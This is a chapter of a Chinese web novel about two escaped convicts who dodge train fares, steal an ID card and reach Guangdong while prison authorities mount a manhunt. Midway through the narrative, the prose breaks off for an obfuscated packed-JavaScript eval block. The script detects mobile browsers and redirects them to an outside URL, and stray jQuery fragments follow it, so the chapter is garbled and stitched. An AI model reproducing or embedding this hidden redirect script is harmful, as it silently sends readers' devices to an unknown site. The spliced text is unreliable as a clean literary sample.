刘继说:“我不想去那种国家,太不安全了,要去就去好地方。我打算找几个朋友……”
他把“朋友”两个字说得格外重,有一点咬牙切齿的意思:“……跟他们好好算算旧账,他们识相的话就多给我点钱,不然的话我让他们好看。我只要搞到了钱就从海上出国,去美丽的国家。”
“美丽国?”李排骨也有点心动,说:“那算兄弟我一个,我和你一起去美丽国。”
刘继一想自己现在身无分文,离开这里都得靠他,就点头:“行,我们一起从青山出来,以后就是同生共死的兄弟了。”说罢,他伸出了自己的手,李排骨看了看,犹豫了一下,也伸出了自己的手,两个人的手紧紧地握在一起。
李排骨心想,我这是遇到了握手狂魔了么?也许斯文人都这样?也许是他上班养成的坏习惯?李排骨很别扭地握了一回手。他又担心刘继从他朋友那搞不到钱,不过也没什么,凭他的手艺,弄点钱也不难,总不至于饿死,往后只能走一步看一步了,就先去广东吧。
刘继去窗口问了一下票价,然后回来告诉李排骨,票价很贵,李排骨身上的钱不知道够不够买两张车票。
李排骨低声说:“谁说坐火车一定要买票呢?更何况没有身份证,你怎么买票呢?”
刘继有点吃惊,也压低声音说:“你打算逃票?可是车上会有乘警检查车票呀!”他心里很无奈,没有身份证果然很麻烦。
李排骨说:“有乘警过来,你就躲呀,躲在厕所里,他总不能到厕所来查票吧?”
刘继抓了抓头皮,看来没有别的办法了,只能这样了。
两个人来到候车室,刘继躺在候车室的椅子上想睡一觉,昨天一晚上没睡,现在非常打瞌睡。
晨风灌进破旧的车站,现在是夏天,早晨的风有点凉意,刘继缩在硬邦邦的塑料长凳上,他看到李排骨正警惕地扫视着候车室的人,候车室人不少,都是些匆忙的旅客。
不知不觉,刘继就睡着了,李排骨看到有一张长凳空出来了,也躺上去,不一会儿也睡着了。
过了一会儿,候车室的喇叭响了起来,李排骨被喇叭的声音吵醒了,他略一思索决定先出去熟悉一下环境。
约莫过了十几分钟,他又回到了候车室,他推醒了刘继,低声说:“这个时间点管教已经上班了,应该已经发现我们跑了,我们要赶紧离开这个城市。”
刘继立刻坐起来,他看着检票员,不知道怎么过检票口,他听到李排骨说:“你跟我来。”刘继看到李排骨匆匆地走了,急忙起身跟着他走。
他们经过了厕所,从厕所后面绕道走,再经过一条两栋楼房之间的甬道就到了站台。
刘继站在站台上非常佩服李排骨,感叹,真是人走人道,蛇走蛇道。
远处传来沉闷的汽笛声,一辆仿佛从历史课本里开出来的绿皮火车喘息着驶入站台。车门“哐当”一声打开,几乎没有其他乘客上车。
李排骨迅速钻进了最近的一节车厢,刘继也飞快地跟上了他的步伐。
车厢内弥漫着一股混合着机油、灰尘和陈旧布料的气味。他们找了个最角落的座位坐下。
“成了!”李排骨长长吁了口气,坐在硬座上,脸上第一次露出放松的笑容,“我就说嘛,天无绝人之路!这破车能带我们到下一站,再想办法搞点钱,弄个身份……”
刘继没有回应,他的目光被窗外的景象吸引。那轮圆日,无论是清晨还是黄昏,都无法形容的美丽。
刘继下意识地摸了摸口袋,那里空空如也——他一无所有。那只引路的小狗…是幻觉吗?那开门的“咔哒”声清晰得仿佛还在耳边。他甩甩头,强迫自己不去想。现在最重要的是离开这里,越远越好。
火车在铁轨上发出单调而有节奏的“哐当、哐当”声,像是催眠曲。紧绷了一夜的神经在疲惫和暂时的安全感的双重作用下渐渐松弛,刘继的眼皮开始打架。
与此同时,在数十公里外的青山监狱,新的一天平静地开始了。
清晨七点整,尖锐的起床哨准时划破监区的死寂。各监房的铁门在刺耳的摩擦声中陆续打开。负责B区3栋4号监房的管教老赵,像往常一样,板着脸走到门前。
“起床!整理内务!”他习惯性地用警棍敲了敲冰冷的铁门。
门内没有传来惯常的窸窣声和应答。老赵皱了皱眉,凑近观察窗。昏暗的光线下,两张床铺空着,另外两名犯人正慢吞吞地起身,脸上带着茫然和一丝惊慌。
“李怀古!刘继!”老赵厉声喝道,同时掏出钥匙,“搞什么名堂!”
铁门打开,老赵大步跨入。看着空荡荡的床铺,他脑子一片空白,他猛地扭头看向另外两人:“人呢?!他们两个哪里去了?”
“报告管教…昨晚…门开了…他们…出去了…就没回来…”一个犯人结结巴巴地说。
“放屁!”老赵额角青筋暴起,“谁开的门?说清楚!”
另一个犯人回答:这个……我们没看清楚,门是从外面打开的,没有人进来。刘继和李怀古就出去看是谁开的门,后来他们就没有回来了。
就在老赵逼问同监犯人时,昨晚值夜班的年轻管教小王,揉着惺忪的睡眼走进了办公室。他习惯性地想给自己倒杯水,目光扫过桌面,桌上有张字条,字迹不太工整。
那张字条,被一个搪瓷杯压着一角。
他好奇地拿起来。
“尊敬的管教,因为门打开了,所以我们出去走一走。因为你们都睡了,所以就没跟你们告别。我们就出去旅个游。李怀古、刘继。”
“旅…旅游?”小王喃喃念出声,眼睛瞬间瞪得滚圆,睡意全无。一股寒气从脚底板直冲天灵盖。他拿着纸条的手开始不受控制地发抖,这是两个犯人留的字条!
“哔——哔哔哔——!!!”
下一秒,凄厉到足以撕裂耳膜的警报声,毫无预兆地响彻整个青山监狱的上空!这声音尖锐、急促、带着一种末日降临般的恐慌,瞬间打破了清晨死水般的宁静和秩序。
在警报响起的同时监狱长办公室的电话也响了,监狱长张强,是个五十多岁的中年人,他抓起话筒,只听了两句,脸色瞬间变得铁青。
“什么?!B区3栋4号监房两人失踪?!门锁完好?!还有…字条?!”他的声音陡然拔高,充满了难以置信的暴怒,“废物!值班的是谁?!给我查!立刻!马上启动一级追逃预案!封锁所有进出道路!联系铁路、公路、航空!调取所有监控!一只苍蝇都不许给我飞出辖区!”
整个青山监狱瞬间沸腾起来,像被捅破的马蜂窝。
监区,所有犯人被勒令原地抱头蹲下,气氛紧张得令人窒息。荷枪实弹的狱警在通道内快速跑动,脚步声和急促的指令声混杂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309511|182854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一片。警犬狂吠着被牵出犬舍。
指挥中心,巨大的监控屏幕墙被点亮,技术人员手指翻飞,疯狂调取着昨夜所有出入口、围墙、通道的监控录像,尤其是B区3栋附近。时间被精确到秒。
监狱长张强看了好几遍昨夜的监控录像,不知道监狱一重又一重的门是怎么打开的,那两个逃犯就这样大摇大摆地走出去了,这到底是怎么回事?昨晚的值班人员明明关好了门,每一道门都有人负责关好。如果门锁坏了,也不可能所有门锁同时坏了!这太不可思议了!
通讯室,无线电通讯此起彼伏:“这里是青山指挥中心!紧急通报!两名重刑犯李怀古(编号B3417)、刘继(编号B3418)于昨夜至今日凌晨越狱!重复,两名重刑犯越狱!”
“请求市局支援!封锁所有通往市区及周边县市的交通要道!火车站、汽车站、高速路口设卡检查!”
“联系铁路公安!重点排查凌晨至清晨所有途径青山站及邻近小站的列车!尤其是慢车、绿皮车!”
“无人机中队!立刻升空!沿监狱周边及主要逃亡路线进行热成像扫描!”
数辆警车闪着刺眼的红蓝警灯,鸣着尖锐的警笛,如同离弦之箭般冲出监狱大门,分头扑向各个可能的方向。
天空中,数架涂着监狱管理局标志的黑色无人机呼啸着升空,如同冷酷的猎鹰,开始扫描下方广袤而荒凉的土地。
监狱长张强站在指挥中心巨大的落地窗前,看着外面兵荒马乱的景象,脸色阴沉。他手里紧紧攥着那张写着“出去旅个游”的字条,指节因为用力而发白。
“‘门打开了’…‘旅个游’…”他咬着牙,每一个字都像是从牙缝里挤出来的,“李怀古…刘继…好,很好!我倒要看看,你们能‘旅’到哪儿去!”
一场规模空前的、动用现代科技与人力编织的天罗地网,正在悄然收紧。
车厢角落里,疲惫不堪的刘继刚刚陷入不安的浅眠,李怀古则望着窗外飞速倒退的、越来越陌生的景色,眼神里充满了对未知自由的渴望和一丝不易察觉的忧虑。他们还不知道,一场真正的“黑暗”追捕,才刚刚拉开序幕。
这时,一名乘警从列车过道走过来,逐个逐个地查票,乘客拿出身份证,乘警用手上的小仪器扫一下身份证,就能查出乘客是否买了票。李排骨考虑,在这个国家去哪里都要用身份证,比如说住宿,要有身份证才能登记住宿,如果没有身份证的话,他和刘继两个人就要露宿街头了……
来不及多想,李排骨推了一把迷迷糊糊的刘继:“查票的来了,我们去厕所躲一躲。”
刘继瞬间清醒过来,依李排骨所言赶紧躲到厕所。每一节车厢都有一个厕所,他们两个人分别躲在两节车厢的厕所里,刘继在闷热的厕所呆了老半天他才敢出来。
过了几个车站,刘继提心吊胆地跟着李排骨下了火车。
在李排骨的带领下,他们没有出站,在站内又换乘了另外一趟列车,在这趟列车上,李排骨瞅准机会偷到了一张身份证,在这个国家,没有身份证举步维艰啊。
经过几次转车与逃票,终于到了他所要去的城市。
下了车,这里已经是广东的地界。这时天色已晚,他们商量着去吃个饭,然后找个地方住下,好好地睡一觉,他们已经一天一夜没睡了。他们不知不觉地就逃脱了青山监狱的天罗地网。